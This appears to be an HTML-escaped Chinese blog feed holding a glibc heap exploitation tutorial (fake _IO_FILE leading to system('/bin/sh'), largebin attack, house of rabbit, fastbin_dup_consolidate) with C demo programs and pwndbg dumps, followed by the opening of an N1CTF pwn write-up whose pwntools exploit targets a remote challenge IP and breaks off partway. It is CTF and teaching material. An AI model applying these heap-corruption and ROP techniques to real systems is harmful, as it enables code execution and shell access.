&lt;p&gt;当 &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt; 开始工作时，它看到的第一个“文件”是我们劫持的 &lt;code&gt;main_arena + 88&lt;/code&gt;。&lt;code&gt;_mode&lt;/code&gt; 字段被解析为正数或负数，当条件不满足刷新时，它会去找&lt;strong&gt;下一个&lt;/strong&gt;文件流。&lt;/p&gt;
&lt;p&gt;它是怎么找下一个的？通过读取当前文件流的 &lt;code&gt;_chain&lt;/code&gt; 指针。 在 64 位下，&lt;code&gt;_chain&lt;/code&gt; 偏移是 &lt;code&gt;0x68&lt;/code&gt;。 它会读取 &lt;code&gt;(main_arena + 88) + 0x68&lt;/code&gt;，也就是 &lt;strong&gt;&lt;code&gt;main_arena + 192&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最天才的一步来了：main_arena + 192这一位置恰好是堆管理器中 &lt;strong&gt;&lt;code&gt;0x60&lt;/code&gt; 大小的 Small Bin 的链表头&lt;/strong&gt;！&lt;/p&gt;
&lt;p&gt;因为我们在触发崩溃前的最后一次操作中，把伪造 Chunk 的 size 改成了 &lt;code&gt;0x61&lt;/code&gt;。&lt;code&gt;malloc&lt;/code&gt; 在报错前，刚好顺手把我们这个 Chunk 整理放进了 &lt;code&gt;0x60&lt;/code&gt; 的 Small Bin 里，于是，&lt;code&gt;_chain&lt;/code&gt; 完美地指向了我们在堆上伪造的 &lt;code&gt;_IO_FILE&lt;/code&gt; 结构体&lt;/p&gt;
&lt;p&gt;伪造的IOFILE结构体：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;偏移      值/作用
0x00:    b&apos;/bin/sh\x00&apos; (原来是 prev_size。这里放 /bin/sh，因为系统会把文件流指针本身作为参数传给 system)
0x08:    0x61 (原来是 size。修改为 0x61，为了利用 0x60 smallbin 的 _chain)
0x10:    随意值 (原来是 fd。这里对漏洞利用无影响)
0x18:    _IO_list_all - 0x10 (原来是 bk。触发 Unsorted Bin Attack 劫持 _IO_list_all)
0x20:    2 (对应 _IO_write_base)
0x28:    3 (对应 _IO_write_ptr。需要满足 _IO_write_ptr &amp;gt; _IO_write_base 才能触发溢出刷新)
... (中间用 0 填充)
0xC0:    0 (对应 _mode。必须填 0 或者负数)
... (中间用 0 填充)
0xD8:    vtable 的地址 (指向下面你伪造的 vtable 区域，通常等于 `heap_base + offset`)
0xE0:    ... 开始伪造 vtable ...
0xE0 + 0x18 (即 0xF8): system_addr (对应 vtable 中的 __overflow 函数指针)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;当系统读取到我们的 Fake File 时，为了让它执行刷新操作，我们伪造了以下条件：

_mode = 0 (满足 &amp;lt;= 0 的检查)。

_IO_write_ptr = 1 且 _IO_write_base = 0 (满足 ptr &amp;gt; base 的检查，说明有数据需要刷新)。

条件全部满足，系统决定刷新文件。刷新的动作是调用虚表（vtable）里的 __overflow 函数。
由于我们把 vtable 的指针指向了我们自己伪造的区域，并且把 __overflow 的位置填入了 system 的地址。

最后，系统调用 system(fp)。而 fp（文件流的起始地址，也是我们 Chunk 的 user data 起始地址）被我们填入了 /bin/sh\x00。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此成功getshell&lt;/p&gt;
&lt;h3&gt;largebin attack&lt;/h3&gt;
&lt;p&gt;该技术可用于修改任意地址的值为一个堆地址，例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏，例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;修改large bin的bk与bk_nextsize，最后导致bk与bk_nextsize被写入下一个进入large bin的chunk的堆地址
pwndbg&amp;gt; x/20gx 0x6036f0  --&amp;gt;p2
0x6036f0:       0x0000000000000000      0x00000000000003f1--&amp;gt;为了绕过极值判断，p3 的大小 (0x410) 大于 p2 伪造的大小 (0x3f0，忽略标志位)，所以 (size) &amp;lt; (bck-&amp;gt;bk-&amp;gt;size) 为假，程序进入核心的 else 分支
0x603700:       0x0000000000000000      0x00007fffffffda90（stack）
0x603710:       0x0000000000000000      0x00007fffffffda88
0x603720:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;原理：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 跳表指针插入操作（fd_nextsize, bk_nextsize）
victim-&amp;gt;fd_nextsize = fwd;
victim-&amp;gt;bk_nextsize = fwd-&amp;gt;bk_nextsize;
fwd-&amp;gt;bk_nextsize = victim;
victim-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = victim;  // &amp;lt;--- 攻击点 1

// 2. 双向链表指针插入操作（fd, bk）
bck = fwd-&amp;gt;bk;
// ...
victim-&amp;gt;bk = bck;
victim-&amp;gt;fd = fwd;
fwd-&amp;gt;bk = victim;
bck-&amp;gt;fd = victim;                           // &amp;lt;--- 攻击点 2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;stdlib.h&amp;gt;
#include&amp;lt;assert.h&amp;gt;
 
int main()
{
    fprintf(stderr, &quot;This file demonstrates large bin attack by writing a large unsigned long value into stack\n&quot;);
    fprintf(stderr, &quot;In practice, large bin attack is generally prepared for further attacks, such as rewriting the &quot;
           &quot;global variable global_max_fast in libc for further fastbin attack\n\n&quot;);

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, &quot;Let&apos;s first look at the targets we want to rewrite on stack:\n&quot;);
    fprintf(stderr, &quot;stack_var1 (%p): %ld\n&quot;, &amp;amp;stack_var1, stack_var1);
    fprintf(stderr, &quot;stack_var2 (%p): %ld\n\n&quot;, &amp;amp;stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    fprintf(stderr, &quot;Now, we allocate the first large chunk on the heap at: %p\n&quot;, p1 - 2);

    fprintf(stderr, &quot;And allocate another fastbin chunk in order to avoid consolidating the next large chunk with&quot;
           &quot; the first large chunk during the free()\n\n&quot;);
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    fprintf(stderr, &quot;Then, we allocate the second large chunk on the heap at: %p\n&quot;, p2 - 2);

    fprintf(stderr, &quot;And allocate another fastbin chunk in order to avoid consolidating the next large chunk with&quot;
           &quot; the second large chunk during the free()\n\n&quot;);
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    fprintf(stderr, &quot;Finally, we allocate the third large chunk on the heap at: %p\n&quot;, p3 - 2);
 
    fprintf(stderr, &quot;And allocate another fastbin chunk in order to avoid consolidating the top chunk with&quot;
           &quot; the third large chunk during the free()\n\n&quot;);
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, &quot;We free the first and second large chunks now and they will be inserted in the unsorted bin:&quot;
           &quot; [ %p &amp;lt;--&amp;gt; %p ]\n\n&quot;, (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, &quot;Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the&quot;
            &quot; freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation&quot;
            &quot;, and reinsert the remaining of the freed first large chunk into the unsorted bin:&quot;
            &quot; [ %p ]\n\n&quot;, (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, &quot;Now, we free the third large chunk and it will be inserted in the unsorted bin:&quot;
           &quot; [ %p &amp;lt;--&amp;gt; %p ]\n\n&quot;, (void *)(p3 - 2), (void *)(p3[0]));
 

    fprintf(stderr, &quot;Now emulating a vulnerability that can overwrite the freed second large chunk&apos;s \&quot;size\&quot;&quot;
            &quot; as well as its \&quot;bk\&quot; and \&quot;bk_nextsize\&quot; pointers\n&quot;);
    fprintf(stderr, &quot;Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk&quot;
            &quot; at the head of the large bin freelist. To overwrite the stack variables, we set \&quot;bk\&quot; to 16 bytes before stack_var1 and&quot;
            &quot; \&quot;bk_nextsize\&quot; to 32 bytes before stack_var2\n\n&quot;);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&amp;amp;stack_var1 - 2);
    p2[3] = (unsigned long)(&amp;amp;stack_var2 - 4);

    //------------------------------------

    malloc(0x90);
 
    fprintf(stderr, &quot;Let&apos;s malloc again, so the freed third large chunk being inserted into the large bin freelist.&quot;
            &quot; During this time, targets should have already been rewritten:\n&quot;);

    fprintf(stderr, &quot;stack_var1 (%p): %p\n&quot;, &amp;amp;stack_var1, (void *)stack_var1);
    fprintf(stderr, &quot;stack_var2 (%p): %p\n&quot;, &amp;amp;stack_var2, (void *)stack_var2);

    // sanity check
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先申请三个大的chunk（size&amp;gt;0x400），中间申请小的chunk防止free时合并&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x430 (with flag bits: 0x431)

Allocated chunk | PREV_INUSE
Addr: 0x6036c0
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x6036f0
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x603c00
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x603c30
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x604140
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x604170
Size: 0x1fe90 (with flag bits: 0x1fe91)
    
    
    
//释放之后两个chunk先进入unsorted bin
pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603290
Size: 0x430 (with flag bits: 0x431)
fd: 0x7ffff7e1ace0
bk: 0x6036f0

Allocated chunk
Addr: 0x6036c0
Size: 0x30 (with flag bits: 0x30)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x6036f0
Size: 0x510 (with flag bits: 0x511)
fd: 0x603290
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x603c00
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x603c30
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x604140
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x604170
Size: 0x1fe90 (with flag bits: 0x1fe91)

    
//malloc(0x90)后，堆管理器会将第一个chunk切割，并且整理剩下的chunk进入相应的bin中：
pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0xa0 (with flag bits: 0xa1)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603330
Size: 0x390 (with flag bits: 0x391)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x6036c0
Size: 0x30 (with flag bits: 0x30)

Free chunk (largebins) | PREV_INUSE//--&amp;gt;largebins
Addr: 0x6036f0
Size: 0x510 (with flag bits: 0x511)
fd: 0x7ffff7e1b110
bk: 0x7ffff7e1b110
fd_nextsize: 0x6036f0
bk_nextsize: 0x6036f0

Allocated chunk
Addr: 0x603c00
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x603c30
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x604140
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x604170
Size: 0x1fe90 (with flag bits: 0x1fe91)    
    
    
    
//free(p3),并且伪造p2

pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0xa0 (with flag bits: 0xa1)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603330
Size: 0x390 (with flag bits: 0x391)
fd: 0x7ffff7e1ace0
bk: 0x603c30

Allocated chunk
Addr: 0x6036c0
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x6036f0
Size: 0x3f0 (with flag bits: 0x3f1)

Allocated chunk
Addr: 0x603ae0
Size: 0x00 (with flag bits: 0x00)
    
pwndbg&amp;gt; x/20gx 0x6036f0  --&amp;gt;p2
0x6036f0:       0x0000000000000000      0x00000000000003f1
0x603700:       0x0000000000000000      0x00007fffffffda90（stack）
0x603710:       0x0000000000000000      0x00007fffffffda88
0x603720:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列，如果大小相同则按照最近使用顺序排列：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 跳表指针插入操作（fd_nextsize, bk_nextsize）
victim-&amp;gt;fd_nextsize = fwd;
victim-&amp;gt;bk_nextsize = fwd-&amp;gt;bk_nextsize;
fwd-&amp;gt;bk_nextsize = victim;
victim-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = victim;  // &amp;lt;--- 攻击点 1

// 2. 双向链表指针插入操作（fd, bk）
bck = fwd-&amp;gt;bk;
// ...
victim-&amp;gt;bk = bck;
victim-&amp;gt;fd = fwd;
fwd-&amp;gt;bk = victim;
bck-&amp;gt;fd = victim;                           // &amp;lt;--- 攻击点 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假设我们有一个漏洞，可以对 large bin 里的 chunk p2 进行修改，结合上面的整理过程，我们伪造 p2 如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20gx 0x6036f0  --&amp;gt;p2
0x6036f0:       0x0000000000000000      0x00000000000003f1--&amp;gt;为了绕过极值判断，p3 的大小 (0x410) 大于 p2 伪造的大小 (0x3f0，忽略标志位)，所以 (size) &amp;lt; (bck-&amp;gt;bk-&amp;gt;size) 为假，程序进入核心的 else 分支
0x603700:       0x0000000000000000      0x00007fffffffda90（stack）
0x603710:       0x0000000000000000      0x00007fffffffda88
0x603720:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第一次任意地址写 (利用跳表)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码执行：&lt;code&gt;victim-&amp;gt;fd_nextsize = fwd;	fwd-&amp;gt;bk_nextsize = victim;&lt;/code&gt; （&lt;code&gt;victim-&amp;gt;bk_nextsize&lt;/code&gt; 变成了 &lt;code&gt;&amp;amp;stack_var2 - 0x20&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;代码执行：&lt;code&gt;victim-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = victim;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;底层等价于&lt;/strong&gt;：&lt;code&gt;(&amp;amp;stack_var2 - 0x20) + 0x20 = victim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果&lt;/strong&gt;：目标变量 &lt;code&gt;stack_var2&lt;/code&gt; 成功被写入了 &lt;code&gt;p3&lt;/code&gt; (即 &lt;code&gt;victim&lt;/code&gt;) 的堆块地址！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;准备物理链表写入&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码执行：&lt;code&gt;bck = fwd-&amp;gt;bk;&lt;/code&gt; （此时 &lt;code&gt;bck&lt;/code&gt; 被赋值为 &lt;code&gt;p2-&amp;gt;bk&lt;/code&gt;，也就是 &lt;code&gt;&amp;amp;stack_var1 - 0x10&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第二次任意地址写 (利用物理链表)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码跳出极值判断的 &lt;code&gt;if/else&lt;/code&gt; 后，执行底部的链表更新：&lt;code&gt;bck-&amp;gt;fd = victim;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;底层等价于&lt;/strong&gt;：&lt;code&gt;(&amp;amp;stack_var1 - 0x10) + 0x10 = victim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果&lt;/strong&gt;：目标变量 &lt;code&gt;stack_var1&lt;/code&gt; 也成功被写入了 &lt;code&gt;p3&lt;/code&gt; 的堆块地址！&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.39&lt;/h4&gt;
&lt;p&gt;在2.39中，我们仅仅需要修改bk_nextsize为target - 0x20，即可。但同时要注意的是我们在add之前应该布置如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;large bin :
Free chunk (largebins) | PREV_INUSE
Addr: 0x56fec9ad4910
Size: 0x790 (with flag bits: 0x791)
fd: 0x73bbbfe20cc0
bk: 0x73bbbfe20cc0
fd_nextsize: 0x56fec9ad4910
bk_nextsize: 0x73bbbfe21640
    
同时，我们需要有unsorted bin 中的一个chunk 该chunk的size&amp;lt;large bin的chunk，但同时要求他们的大小在同一个large bin的范围内
    
    
Free chunk (largebins) | Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56fec9ad3290
Size: 0x780 (with flag bits: 0x781)
fd: 0x73bbbfe20cc0
bk: 0x73bbbfe20cc0
fd_nextsize: 0x00
bk_nextsize: 0x00
   

最后再malloc一个大chunk使unsorted bin chunk进入largebin中触发large bin attack
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;house of rabbit&lt;/h3&gt;
&lt;h4&gt;利用原理&lt;/h4&gt;
&lt;p&gt;该利用技巧的核心是 &lt;code&gt;malloc_consolidate&lt;/code&gt; 函数，当检测到有 &lt;code&gt;fastbin&lt;/code&gt; 的时候，会取出每一个 &lt;code&gt;fastbin chunk&lt;/code&gt;，将其放置到 &lt;code&gt;unsortedbin&lt;/code&gt; 中，并进行合并。以修改 &lt;code&gt;fd&lt;/code&gt; 为例，利用过程如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;申请 &lt;code&gt;chunk A&lt;/code&gt;、&lt;code&gt;chunk B&lt;/code&gt;，其中 &lt;code&gt;chunk A&lt;/code&gt; 的大小位于 &lt;code&gt;fastbin&lt;/code&gt; 范围&lt;/li&gt;
&lt;li&gt;释放 &lt;code&gt;chunk A&lt;/code&gt;，使其进入到 &lt;code&gt;fastbin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;利用 &lt;code&gt;use after free&lt;/code&gt;，修改 &lt;code&gt;A-&amp;gt;fd&lt;/code&gt; 指向地址 &lt;code&gt;X&lt;/code&gt;，需要伪造好 &lt;code&gt;fake chunk&lt;/code&gt;，使其不执行 &lt;code&gt;unlink&lt;/code&gt; 或者绕过 &lt;code&gt;unlink&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;分配足够大的 &lt;code&gt;chunk&lt;/code&gt;，或者释放 &lt;code&gt;0x10000&lt;/code&gt; 以上的 &lt;code&gt;chunk&lt;/code&gt;，只要能触发 &lt;code&gt;malloc_consolidate&lt;/code&gt; 即可&lt;/li&gt;
&lt;li&gt;此时 &lt;code&gt;fake chunk&lt;/code&gt; 被放到了 &lt;code&gt;unsortedbin&lt;/code&gt;，或者进入到对应的 &lt;code&gt;smallbin/largebin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;取出 &lt;code&gt;fake chunk&lt;/code&gt; 进行读写即可&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;相关技巧&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;2.26&lt;/code&gt; 加入了 &lt;code&gt;unlink&lt;/code&gt; 对 &lt;code&gt;presize&lt;/code&gt; 的检查&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2.27&lt;/code&gt; 加入了 &lt;code&gt;fastbin&lt;/code&gt; 的检查&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;抓住重点：&lt;code&gt;house of rabbit&lt;/code&gt; 是对 &lt;code&gt;malloc_consolidate&lt;/code&gt; 的利用。因此，不一定要按照原作者的思路来，他的思路需要满足的条件太多了。&lt;/p&gt;
&lt;h4&gt;利用效果&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;任意地址分配&lt;/li&gt;
&lt;li&gt;任意地址读写&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;fastbin_dup_consolidate&lt;/h4&gt;
&lt;p&gt;Glibc 2.35&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;assert.h&amp;gt;

void main() {
	void *ptr[7];

	for(int i = 0; i &amp;lt; 7; i++)
		ptr[i] = malloc(0x40);
	for(int i = 0; i &amp;lt; 7; i++)
		free(ptr[i]);

	void* p1 = calloc(1,0x40);

	printf(&quot;Allocate another chunk of the same size p1=%p \n&quot;, p1);
  	free(p1);

  	void* p3 = malloc(0x400);
	printf(&quot;Allocating a tcache-sized chunk (p3=%p)\n&quot;, p3);

	assert(p1 == p3);

	free(p1);

	void *p4 = malloc(0x400);

	assert(p4 == p3);

	printf(&quot;point to p3: p3=%p, p4=%p\n\n&quot;,p3, p4);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于是glibc 2.35，需要先malloc free7个chunk填满tcache bin，接下来申请一个fastbin 大小的chunk（0x40），然后将其free掉，这个chunk进入fastbin中&lt;img alt=&quot;image-20260323184632876&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来通过申请一个大小属于largebin的chunk来触发malloc_consolidate函数，该函数在malloc fastbin chunk的时候来检查fastbin中小的chunk，将其合并以减少碎片。&lt;/p&gt;
&lt;p&gt;简单来说，就是轻量版本的free里的consolidation过程，是针对fastbin chunk的，流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;设置&lt;code&gt;av-&amp;gt;have_fastchunks&lt;/code&gt;为false&lt;/li&gt;
&lt;li&gt;遍历每一个fastbin&lt;/li&gt;
&lt;li&gt;遇到fastbin chunk，就进行合并
&lt;ol&gt;
&lt;li&gt;安全检查：该chunk的大小和该bin的大小需要匹配&lt;/li&gt;
&lt;li&gt;向上合并（低地址），能合就合&lt;/li&gt;
&lt;li&gt;向下合并（高地址），能合就合
&lt;ol&gt;
&lt;li&gt;如果不是top chunk，就插入到unsortedbin的前面&lt;/li&gt;
&lt;li&gt;如果是top chunk，就合并到top chunk中&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;进入 malloc_consolidation 的条件&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;_int_malloc&lt;/code&gt;中，当不能从&lt;code&gt;fastbin&lt;/code&gt;中申请，且申请大小不属于&lt;code&gt;small size&lt;/code&gt;时，如果当前&lt;code&gt;arena&lt;/code&gt;有&lt;code&gt;fastbin chunk&lt;/code&gt;，就会进行调用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_int_malloc&lt;/code&gt;中，当无法通过&lt;code&gt;top chunk&lt;/code&gt;分配，且&lt;code&gt;arena&lt;/code&gt;中有&lt;code&gt;fastbin chunk&lt;/code&gt;时，就会进行调用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_int_free&lt;/code&gt;中，释放到&lt;code&gt;unsortedbin&lt;/code&gt;进行&lt;code&gt;consolidation&lt;/code&gt;的过程中，在向前向后合并完成了以后，如果合并的大小超过&lt;code&gt;0x10000&lt;/code&gt;，就检测fastbin chunk并进行合并&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;fastbin chunk 进行合并有哪些安全检查？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;和 libc 2.23 相比，新增了3个检查：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在遍历的时候，会检查chunk的内存对齐&lt;/li&gt;
&lt;li&gt;在遍历的时候，会检查chunk的大小和fastbin的大小是否匹配&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在向前合并的时候，会检查prev_size和前一个chunk的size是否相同&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，当我们malloc(0x400)时，触发malloc_consolidate，让上图的chunk与top chunk合并，合并后在fastbin chunk的原地址分配largebin大小的 chunk，此时两个指针P1与P3便指向同一个chunk了。free(p1)，后重新malloc(0x400)，得到的p4与p3指向同一个chunk&lt;/p&gt;
&lt;h4&gt;任意地址分配与读写&lt;/h4&gt;
&lt;p&gt;需要可以控制fd指针，接下来通过&lt;strong&gt;HITB-GSEC-XCTF 2018 mutepig&lt;/strong&gt;来学习一下：&lt;/p&gt;
&lt;p&gt;只要可以控制&lt;code&gt;fastbin chunk&lt;/code&gt;的&lt;code&gt;fd&lt;/code&gt;指针，之后只需要将&lt;code&gt;fd&lt;/code&gt;指针指向一个任意地方的&lt;code&gt;fake chunk&lt;/code&gt;，然后触发&lt;code&gt;malloc_consolidate&lt;/code&gt;，就可以申请到该位置的&lt;code&gt;fake chunk&lt;/code&gt;。但也需要附加条件，那就是需要该&lt;code&gt;fake chunk&lt;/code&gt;的下一个和下下个&lt;code&gt;fake chunk&lt;/code&gt;也构造好（实际上只需要构造&lt;code&gt;chunk size&lt;/code&gt;）。画个图来理解：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ltfallpics.oss-cn-hangzhou.aliyuncs.com/images/202311211716419.png&quot; alt=&quot;image-20231114100530815&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当可以控制&lt;code&gt;chunksize&lt;/code&gt;时，可以获得一个&lt;code&gt;chunk overlap&lt;/code&gt;。具体过程如下：&lt;/p&gt;
&lt;p&gt;首先申请两个相同大小的&lt;code&gt;chunk&lt;/code&gt;，例如&lt;code&gt;0x40&lt;/code&gt;的两个&lt;code&gt;chunk&lt;/code&gt;。释放后，我们将第一个&lt;code&gt;chunksize&lt;/code&gt;更改为&lt;code&gt;0x80&lt;/code&gt;，此时若触发&lt;code&gt;malloc_consolidate&lt;/code&gt;，那么会分别将两个&lt;code&gt;chunk&lt;/code&gt;添加到大小为&lt;code&gt;0x40&lt;/code&gt;和&lt;code&gt;0x80&lt;/code&gt;的&lt;code&gt;smallbin&lt;/code&gt;中。那么当&lt;code&gt;size&lt;/code&gt;被修改为&lt;code&gt;0x80&lt;/code&gt;的&lt;code&gt;chunk&lt;/code&gt;被添加到大小为&lt;code&gt;0x80&lt;/code&gt;的&lt;code&gt;smallbin&lt;/code&gt;中后，&lt;code&gt;chunk overlap&lt;/code&gt;实际上就已经发生了。因为只需要申请大小为&lt;code&gt;0x80&lt;/code&gt;的&lt;code&gt;chunk&lt;/code&gt;就可以获得这个&lt;code&gt;chunk&lt;/code&gt;了。&lt;/p&gt;
</content:encoded></item><item><title>N1CTF 部分WP</title><link>https://huaananan.github.io/S0ras/posts/n1wp/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/n1wp/</guid><description>只写出来了3道题</description><pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;pwn&lt;/h1&gt;
&lt;h2&gt;onlyfgets&lt;/h2&gt;
&lt;p&gt;magic gadgets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00000000004010ae : add bl, dh ; endbr64 ; ret

0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;add bl, dh&lt;/code&gt;用来修改ebx，为&lt;code&gt;add dword ptr [rbp - 0x3d], ebx&lt;/code&gt;铺垫&lt;/p&gt;
&lt;p&gt;之后就&lt;code&gt;pop rbx	+	add dword ptr [rbp - 0x3d], ebx&lt;/code&gt;来修改got表的内容&lt;/p&gt;
&lt;p&gt;直接把libc.so.6扔进ida中看汇编，按0x20字节写正则过滤，&lt;/p&gt;
&lt;p&gt;找了半天，发现&lt;code&gt;ssignal&lt;/code&gt;可以改成&lt;code&gt;call sigreturn&lt;/code&gt;,&lt;code&gt;alarm&lt;/code&gt;可以改成&lt;code&gt;call execve&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后SROP控制寄存器，RIP改成&lt;code&gt;call execve&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;EXP：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

filename = &apos;./onlyfgets&apos;
context.arch=&apos;amd64&apos;
context.log_level = &quot;debug&quot;
local = 1
elf = ELF(filename)
libc = ELF(&quot;./libc.so.6&quot;)
#io=process(filename) 
io=remote(&apos;154.94.237.159&apos;,34286) 

pop_rdi = 0x4011fc
xor_rbx_ret = 0x4011FE
add_rbx_rdx_ret = 0x4010ae
magic = 0x40114c
pop_rbp = 0x40114d
srop = 0x4011C3
ret = 0x40101a
bss = 0x404500

#修改为call execve
payload = flat([b&apos;a&apos;*0x28,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,
                pop_rbp,0x404065,magic,magic,elf.sym[&apos;main&apos;]
                ])

# io.sendline(payload)
#修改为SROP
